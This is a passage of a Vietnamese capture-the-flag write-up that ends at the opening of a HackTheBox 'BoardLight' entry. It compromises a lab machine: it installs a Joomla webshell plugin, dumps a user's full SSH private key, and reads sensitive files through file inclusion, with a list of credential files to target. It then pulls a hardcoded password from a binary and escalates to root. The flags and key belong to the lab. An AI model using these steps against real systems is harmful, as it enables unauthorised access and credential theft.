[00:44:26] 200 - 31B - /tmp/
[00:44:31] 200 - 877B - /web.config.txt
Task Completed
Truy cập vào /administrator/ tôi có login form quản trị của joomla. Thử login với thông tin đăng nhập đã có
Với phiên bản 5.1.1 của joomla là một phiên bản mới, tôi đã thử tìm kiếm các lỗ hổng cũng như PoC của phiên bản này nhưng không có kết quả khả thi. Vậy nên tôi sẽ chuyển sang cách khai thác là tìm kiếm plugin hoặc template có chứa lỗ hổng có thể khai thác được. Dù sao thì tôi cũng đã có user admin với quyền cao nhất, nên tôi có thể làm mọi thứ với web này.
Sau khi tìm kiếm trên internet, tôi tìm thấy plugin có thể tạo được lỗ hổng command injection và thực thi được rce trên máy
Truy cập vào github repo và tải plugin về. Sau đó upload nó lên joomla
System -> Extension, tại Upload Package File, tải lên plugin. Khi thành công, tôi nhận được thông báo
Tiếp tục làm theo hướng dẫn như trong github repo, thử câu lệnh id
Gaining access
Vậy là tôi đã thực thi được lỗ hổng command injection trên joomla. Tiếp tục làm theo hướng dẫn trong repo để lấy rce. Clone repo về máy kali
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ git clone https://github.com/p0dalirius/Joomla-webshell-plugin.git
Cloning into 'Joomla-webshell-plugin'...
remote: Enumerating objects: 33, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (31/31), done.
remote: Total 33 (delta 4), reused 25 (delta 0), pack-reused 0
Receiving objects: 100% (33/33), 3.21 MiB | 2.26 MiB/s, done.
Resolving deltas: 100% (4/4), done.
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ cd Joomla-webshell-plugin
┌──(neo㉿n0b0dy)-[~/Finale/Joomla-webshell-plugin]
└─$ ls -la
total 44
drwxr-xr-x 7 neo neo 4096 Jun 24 01:07 .
drwxr-xr-x 4 neo neo 4096 Jun 24 01:07 ..
-rwxr-xr-x 1 neo neo 4756 Jun 24 01:07 console.py
drwxr-xr-x 2 neo neo 4096 Jun 24 01:07 dist
drwxr-xr-x 8 neo neo 4096 Jun 24 01:07 .git
drwxr-xr-x 2 neo neo 4096 Jun 24 01:07 .github
-rw-r--r-- 1 neo neo 352 Jun 24 01:07 Makefile
drwxr-xr-x 4 neo neo 4096 Jun 24 01:07 plugin
-rw-r--r-- 1 neo neo 3624 Jun 24 01:07 README.md
drwxr-xr-x 2 neo neo 4096 Jun 24 01:07 test_env
Sử dụng python để lấy rce
┌──(neo㉿n0b0dy)-[~/Finale/Joomla-webshell-plugin]
└─$ python3 console.py -t http://192.168.24.165
[webshell]> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[webshell]> whoami
www-data
[webshell]> pwd
/
Tôi tìm thấy thứ ssh private key của user bill, và do lỗi phân quyền của người quản trị nên tôi vẫn có thể xem được private key và lấy nó về
[webshell]> ls -la /home
total 20
drwxr-xr-x 5 root root 4096 Jun 21 18:20 .
drwxr-xr-x 19 root root 4096 Jun 18 09:52 ..
drwxr-xr-x 5 bill bill 4096 Jun 24 02:44 bill
drwxr-xr-x 4 ftpuser ftpuser 4096 Jun 22 13:53 ftpuser
drwxr-xr-x 5 mark mark 4096 Jun 21 19:34 mark
[webshell]> ls -la /home/bill
total 36
drwxr-xr-x 5 bill bill 4096 Jun 24 02:44 .
drwxr-xr-x 5 root root 4096 Jun 21 18:20 ..
-rw-r--r-- 1 root root 0 Jun 21 19:34 .bash_history
-rw-r--r-- 1 bill bill 220 Jun 19 18:01 .bash_logout
-rw-r--r-- 1 bill bill 3771 Jun 19 18:01 .bashrc
drwx------ 2 bill bill 4096 Jun 21 15:14 .cache
-rw------- 1 bill bill 0 Jun 21 19:29 .history
drwxrwxr-x 3 bill bill 4096 Jun 21 15:14 .local
-rw-r--r-- 1 bill bill 807 Jun 19 18:01 .profile
drwxr-xr-x 2 bill bill 4096 Jun 21 16:15 .ssh
-rw-r--r-- 1 root root 0 Jun 21 19:34 .zsh_history
-rw------- 1 bill bill 33 Jun 21 15:35 user.txt
[webshell]> cat /home/bill/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Lấy key về, thay đổi quyền và login ssh
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ nano id_rsa
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ chmod 600 id_rsa
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ ssh -i id_rsa bill@192.168.24.165
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-186-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon 24 Jun 2024 03:21:32 AM UTC
System load: 0.02 Processes: 237
Usage of /: 16.4% of 47.93GB Users logged in: 0
Memory usage: 18% IPv4 address for ens32: 192.168.24.165
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
New release '22.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Sat Jun 22 13:53:47 2024 from 192.168.24.128
bill@finale:~$ id
uid=1001(bill) gid=1001(bill) groups=1001(bill)
bill@finale:~$ ls -la
total 36
drwxr-xr-x 5 bill bill 4096 Jun 24 02:44 .
drwxr-xr-x 5 root root 4096 Jun 21 18:20 ..
-rw-r--r-- 1 root root 0 Jun 21 19:34 .bash_history
-rw-r--r-- 1 bill bill 220 Jun 19 18:01 .bash_logout
-rw-r--r-- 1 bill bill 3771 Jun 19 18:01 .bashrc
drwx------ 2 bill bill 4096 Jun 21 15:14 .cache
-rw------- 1 bill bill 0 Jun 21 19:29 .history
drwxrwxr-x 3 bill bill 4096 Jun 21 15:14 .local
-rw-r--r-- 1 bill bill 807 Jun 19 18:01 .profile
drwxr-xr-x 2 bill bill 4096 Jun 21 16:15 .ssh
-rw------- 1 bill bill 33 Jun 21 15:35 user.txt
-rw-r--r-- 1 root root 0 Jun 21 19:34 .zsh_history
bill@finale:~$ cat user.txt
1c49f6a547901cc4b95d15baf8f0c9be
bill@finale:~$
Port 1337 - HTTP
Truy cập vào web http://192.168.24.165:1337
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ whatweb http://192.168.24.165:1337
http://192.168.24.165:1337 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.24.165], Title[Cat Blog - Home]
Sử dụng dirsearch
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ dirsearch -u http://192.168.24.165:1337
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/neo/Finale/reports/http_192.168.24.165_1337/_24-06-24_11-00-30.txt
Target: http://192.168.24.165:1337/
[11:00:30] Starting:
[11:00:31] 403 - 281B - /.ht_wsr.txt
[11:00:31] 403 - 281B - /.htaccess.bak1
[11:00:31] 403 - 281B - /.htaccess.orig
[11:00:31] 403 - 281B - /.htaccess.sample
[11:00:31] 403 - 281B - /.htaccess.save
[11:00:31] 403 - 281B - /.htaccess_extra
[11:00:31] 403 - 281B - /.htaccess_orig
[11:00:31] 403 - 281B - /.htaccessBAK
[11:00:31] 403 - 281B - /.htaccess_sc
[11:00:31] 403 - 281B - /.htaccessOLD
[11:00:31] 403 - 281B - /.htaccessOLD2
[11:00:31] 403 - 281B - /.htm
[11:00:31] 403 - 281B - /.html
[11:00:31] 403 - 281B - /.htpasswds
[11:00:31] 403 - 281B - /.httr-oauth
[11:00:32] 403 - 281B - /.php
[11:00:34] 403 - 281B - /.htpasswd_test
[11:00:35] 200 - 507B - /about.php
[11:00:47] 200 - 597B - /contact.php
[11:00:47] 301 - 321B - /css -> http://192.168.24.165:1337/css/
[11:00:53] 200 - 448B - /gallery.php
[11:00:55] 301 - 324B - /images -> http://192.168.24.165:1337/images/
[11:00:55] 200 - 501B - /images/
[11:01:05] 301 - 323B - /posts -> http://192.168.24.165:1337/posts/
[11:01:07] 403 - 281B - /server-status
[11:01:07] 403 - 281B - /server-status/
Task Completed
Ở /posts/, tôi để ý phần url có thể khai thác lỗ hổng LFI. Sau khi thử một số payload LFI đơn giản, tôi tìm được payload LFI với base64 encode
Sử dụng Burpsuite để chỉnh sửa request
Lỗ hổng Local File Inclusion (LFI) là một trong những lỗ hổng bảo mật phổ biến trong các ứng dụng web. Mục đích của lỗ hổng LFI là cho phép kẻ tấn công đọc và đôi khi thực thi các tệp tin trên hệ thống máy chủ thông qua một lỗ hổng trong mã nguồn của ứng dụng web. LFI có thể đọc được tất cả những file tồn tại trong máy chủ miễn là user của chúng ta có quyền đọc nó.
- Tệp cấu hình hệ thống
- /etc/passwd: Chứa thông tin về người dùng trên hệ thống Unix/Linux.
- /etc/shadow: Chứa mật khẩu đã được băm của người dùng trên hệ thống Unix/Linux.
- /etc/group: Chứa thông tin về các nhóm người dùng trên hệ thống Unix/Linux.
- /etc/hosts: Chứa thông tin về ánh xạ địa chỉ IP và tên miền cục bộ.
- Tệp cấu hình ứng dụng
- config.php hoặc config.yml: Chứa thông tin cấu hình cho các ứng dụng web, bao gồm thông tin đăng nhập cơ sở dữ liệu.
- settings.py: Tệp cấu hình của ứng dụng Django.
- web.config: Tệp cấu hình của ứng dụng ASP.NET.
- .env: Tệp môi trường chứa các biến môi trường, bao gồm thông tin nhạy cảm như API keys, thông tin đăng nhập.
- Tệp nhật ký (log files)
- /var/log/syslog hoặc /var/log/messages: Tệp nhật ký hệ thống.
- /var/log/auth.log: Tệp nhật ký xác thực, ghi lại các sự kiện đăng nhập và các hoạt động liên quan đến bảo mật.
- /var/log/apache2/access.log: Tệp nhật ký truy cập của máy chủ web Apache.
- /var/log/nginx/access.log: Tệp nhật ký truy cập của máy chủ web Nginx.
- Tệp cơ sở dữ liệu
- database.sqlite: Tệp cơ sở dữ liệu SQLite có thể chứa dữ liệu quan trọng.
- backup.sql: Tệp sao lưu cơ sở dữ liệu có thể chứa toàn bộ dữ liệu ứng dụng.
- Tệp mã nguồn và tài liệu
- source code files: Mã nguồn của ứng dụng có thể chứa các thông tin nhạy cảm như API keys, thông tin đăng nhập hoặc các đoạn mã dễ bị tấn công.
- documentation: Các tài liệu nội bộ có thể chứa thông tin về kiến trúc hệ thống, hướng dẫn quản trị và các thông tin nhạy cảm khác.
- Khóa bảo mật và chứng chỉ
- id_rsa: Khóa riêng tư cho SSH, thường được lưu trong thư mục ~/.ssh.
- id_rsa.pub: Khóa công khai cho SSH.
- server.key: Khóa riêng tư của máy chủ sử dụng cho SSL/TLS.
- server.crt: Chứng chỉ SSL/TLS của máy chủ.
- Tệp chứa thông tin nhận dạng cá nhân (PII)
- user_data.json: Tệp chứa thông tin người dùng, bao gồm tên, địa chỉ email, số điện thoại, địa chỉ, và các thông tin cá nhân khác.
- customer_info.csv: Tệp chứa thông tin khách hàng.
- Tệp tạm thời và tệp lưu trữ
- /tmp/sensitive_data.tmp: Tệp tạm thời chứa dữ liệu nhạy cảm.
- /var/tmp/backups.zip: Tệp lưu trữ chứa các tệp sao lưu quan trọng.
- Tệp kiểm soát truy cập
- .htaccess: Tệp cấu hình của Apache, có thể chứa các quy tắc bảo mật và kiểm soát truy cập.
- .htpasswd: Tệp chứa tên người dùng và mật khẩu đã băm để kiểm soát truy cập vào các vùng bảo mật của trang web.
- Các tệp khác có thể chứa thông tin nhạy cảm
- /proc/kcore: Hình ảnh của bộ nhớ vật lý, có thể chứa các thông tin nhạy cảm nếu bị truy cập.
- /proc/self/environ: Tệp môi trường của quy trình hiện tại, có thể chứa các biến môi trường nhạy cảm.
Từ nội dung file /etc/passwd phía trên, tôi biết được máy có 2 user là bill và mark. Tìm kiếm ssh private key của 2 user này, tôi đọc được private key của bill
Lưu nó về và login ssh. Đoạn này thì giống với Port 80 rồi nên tôi sẽ không nhắc lại nữa.
Privilege escalation
Tôi nhận thấy bill không có quyền sudo, nhưng mark thì có
bill@finale:~$ id
uid=1001(bill) gid=1001(bill) groups=1001(bill)
bill@finale:~$ id mark
uid=1000(mark) gid=1000(mark) groups=1000(mark),27(sudo)
Vậy nên trước tiên tôi sẽ tìm cách leo sang mark. Bên trong thư mục của mark có vài thứ hay ho
bill@finale:~$ cd /home/mark/
bill@finale:/home/mark$ ls -la
total 52
drwxr-xr-x 5 mark mark 4096 Jun 21 19:34 .
drwxr-xr-x 5 root root 4096 Jun 21 18:20 ..
-rw-r--r-- 1 mark mark 15952 Jun 21 18:16 actvn
-rw-r--r-- 1 root root 0 Jun 21 19:34 .bash_history
-rw-r--r-- 1 mark mark 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 mark mark 3771 Feb 25 2020 .bashrc
drwx------ 2 mark mark 4096 Jun 18 09:59 .cache
-rw------- 1 mark mark 0 Jun 21 19:29 .history
drwxrwxr-x 3 mark mark 4096 Jun 18 10:11 .local
-rw-r--r-- 1 mark mark 807 Feb 25 2020 .profile
drwx------ 2 mark mark 4096 Jun 18 09:57 .ssh
-rw-r--r-- 1 mark mark 0 Jun 18 09:59 .sudo_as_admin_successful
-rw-rw-rw- 1 mark bill 216 Jun 22 16:07 zip_move.py
-rw-r--r-- 1 root root 0 Jun 21 19:34 .zsh_history
bill@finale:/home/mark$
Xác định định dạng của file actvn
bill@finale:/home/mark$ file actvn
actvn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=758079e8804c56fef093eb3e779b30110bf712ac, for GNU/Linux 3.2.0, not stripped
Thử phân tích file này
bill@finale:/home/mark$ strings actvn
Command 'strings' not found, but can be installed with:
apt install binutils
Please ask your administrator.
bill@finale:/home/mark$ cat actvn
@@@@�mm �-�=�=HP�-�=�=�888 XXXDDS�td888 P�td, , , ,,Q�tdR�td�-�=�=00/lib64/ld-linux-x86-64.so.2GNU��GNUu�y�LV���>w�0
��GNU��e�mH "d s "__cxa_finalize__libc_start_mainputslibc.so.6GLIBC_2.2.5GLIBC_2.34_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTable'u␦i 1���=�0��@�?�?�?�?�?@H�H��/H��t��H���5�/�%�/@�%�/h������%�/f�1�I��^H��H���PTE1�1�H�=��O/�f.�@H�=�/H��/H9�tH�./H��t �����H�=a/H�5Z/H)�H��H��?H��H�H��tH��.H����fD�����=/u+UH�=�.H��t
H�=�.�)����d�����.]������w���UH��H�����zRx�H��H����������H�H��mark:zuckerberg1984do you love cats?(����t����$���D
����"zRx
$x��� FJ
d �?␦;*3$"Dp��\Q���)A�C
0�'
d�␦����o�p�
�
�?� ������o���o���o����o�=6@GCC: (Debian 13.2.0-24) 13.2.0�� | ��� �3�I␦@U�=|0��=������!����=�, ��?�
H@(9@@d@S b@o ~␦ @LP"�␦@�9)�@� �"�
Scrt1.o__abi_tagcrtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.0__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entryactvn.c__FRAME_END___DYNAMIC__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_start_main@GLIBC_2.34_ITM_deregisterTMCloneTableputs@GLIBC_2.2.5_edata_fini__data_start__gmon_start____dso_handle_IO_stdin_used_end__bss_startmain__TMC_END___ITM_registerTMCloneTable__cxa_finalize@GLIBC_2.2.5_init.symtab.strtab.shstrtab.interp.note.gnu.property.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.plt.data.bss.comment#886XX$I|| W���o��a
��ipp�q���o��~���o�@@��� �PP�dd � *�, , ,�X X ������=�-��?���?0/
@0080` �3�s5␦bill@finale:/home/mark$
Boom! Đập vào mắt tôi là dòng chữ mark:zuckerberg1984do you love cats?. Đây có thể chính là password của user mark
Để chắc chắn hơn thì tôi sẽ lấy file này về máy kali để phân tích
bill@finale:/home/mark$ which python
bill@finale:/home/mark$ which python3
/usr/bin/python3
bill@finale:/home/mark$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌──(neo㉿n0b0dy)-[~]
└─$ wget http://192.168.24.165:8000/actvn
--2024-06-24 14:13:17-- http://192.168.24.165:8000/actvn
Connecting to 192.168.24.165:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15952 (16K) [application/octet-stream]
Saving to: ‘actvn’
actvn 100%[===================================================>] 15.58K --.-KB/s in 0.001s
2024-06-24 14:13:17 (27.8 MB/s) - ‘actvn’ saved [15952/15952]
┌──(neo㉿n0b0dy)-[~]
└─$ chmod +x actvn
┌──(neo㉿n0b0dy)-[~]
└─$ ./actvn
do you love cats?
┌──(neo㉿n0b0dy)-[~]
└─$ strings actvn
/lib64/ld-linux-x86-64.so.2
__cxa_finalize
__libc_start_main
puts
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
mark:zuckerberg1984
do you love cats?
;*3$"
GCC: (Debian 13.2.0-24) 13.2.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
actvn.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
_edata
_fini
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
_end
__bss_start
main
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment
┌──(neo㉿n0b0dy)-[~]
└─$
Sử dụng strings -> mark:zuckerberg1984. Thử chuyển sang user mark
bill@finale:/home/mark$ su mark
Password:
mark@finale:~$ whoami
mark
mark@finale:~$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark),27(sudo)
Thử sudo -l
mark@finale:~$ sudo -l
[sudo] password for mark:
Matching Defaults entries for mark on finale:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mark may run the following commands on finale:
(ALL : ALL) ALL
mark@finale:~$
Điều này có nghĩa là mark có quyền sử dụng lệnh sudo
để chạy bất kỳ lệnh nào. Xong! Root đây rồi
mark@finale:~$ sudo su
root@finale:/home/mark# whoami
root
root@finale:/home/mark# id
uid=0(root) gid=0(root) groups=0(root)
root@finale:/home/mark# cd /root
root@finale:~# ls -la
total 48
drwx------ 6 root root 4096 Jun 24 02:50 .
drwxr-xr-x 19 root root 4096 Jun 18 09:52 ..
-rw-r--r-- 1 root root 101 Jun 21 17:36 .apport-ignore.xml
-rw------- 1 root root 241 Jun 24 02:50 .bash_history
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Jun 19 16:10 .cache
drwxr-xr-x 3 root root 4096 Jun 18 10:01 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw------- 1 root root 33 Jun 21 15:34 root.txt
drwx------ 3 root root 4096 Jun 18 09:56 snap
drwx------ 2 root root 4096 Jun 18 09:56 .ssh
-rw-r--r-- 1 root root 175 Jun 20 19:00 .wget-hsts
root@finale:~# cat root.txt
4ca4fe79193fde3204b548932c3a40a7
root@finale:~#
Nếu thấy box này hay, bạn có thể bấm vào nút Clap bên dưới để ủng hộ, hoặc nếu có góp ý hay trao đổi, đừng ngần ngại liên hệ với tôi qua phần thông tin liên hệ trong Resume nhé. Peace!
HackTheBox - BoardLight
in CTF on Web, Linux, Dolibarr, Mysql, SSH, Enlightenment_sys, Hackthebox
BroadLight là một máy đơn giản tập trung vào cách tìm kiếm lỗ hổng và sử dụng các PoC của nó để thực hiện tấn công và leo thang đặc quyền. Ngoài ra nội dung của máy này cũng đưa ra cảnh báo về sự nguy hiểm của việc sử dụng thông tin đăng nhập mặc định và sử dụng chung password giữa các service khác nhau trong hệ thống.
Reconnaissance and Scanning
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH0dV4gtJNo8ixEEBDxhUId6Pc/8iNLX16+zpUCIgmxxl5TivDMLg2JvXorp4F2r8ci44CESUlnMHRSYNtlLttiIZHpTML7ktFHbNexvOAJqE1lIlQlGjWBU1hWq6Y6n1tuUANOd5U+Yc0/h53gKu5nXTQTy1c9CLbQfaYvFjnzrR3NQ6Hw7ih5u3mEjJngP+Sq+dpzUcnFe1BekvBPrxdAJwN6w+MSpGFyQSAkUthrOE4JRnpa6jSsTjXODDjioNkp2NLkKa73Yc2DHk3evNUXfa+P8oWFBk8ZXSHFyeOoNkcqkPCrkevB71NdFtn3Fd/Ar07co0ygw90Vb2q34cu1Jo/1oPV1UFsvcwaKJuxBKozH+VA0F9hyriPKjsvTRCbkFjweLxCib5phagHu6K5KEYC+VmWbCUnWyvYZauJ1/t5xQqqi9UWssRjbE1mI0Krq2Zb97qnONhzcclAPVpvEVdCCcl0rYZjQt6VI1PzHha56JepZCFCNvX3FVxYzEk=
| 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBK7G5PgPkbp1awVqM5uOpMJ/xVrNirmwIT21bMG/+jihUY8rOXxSbidRfC9KgvSDC4flMsPZUrWziSuBDJAra5g=
| 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILHj/lr3X40pR3k9+uYJk4oSjdULCK0DlOxbiL66ZRWg
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Truy cập vào port 80, tôi có một trang web giới thiệu. Lướt qua toàn bộ nó, ở phần cuối cùng xuất hiện 1 domain.
Thêm domain này vào file host. Truy cập lại thì cũng không có gì thay đổi. Tuy nhiên, khi có domain thì tôi sẽ nghĩ đến việc tìm subdomain hoặc vhost
Sử dụng ffuf
┌──(kali㉿kali)-[~/HTB/BoardLight]
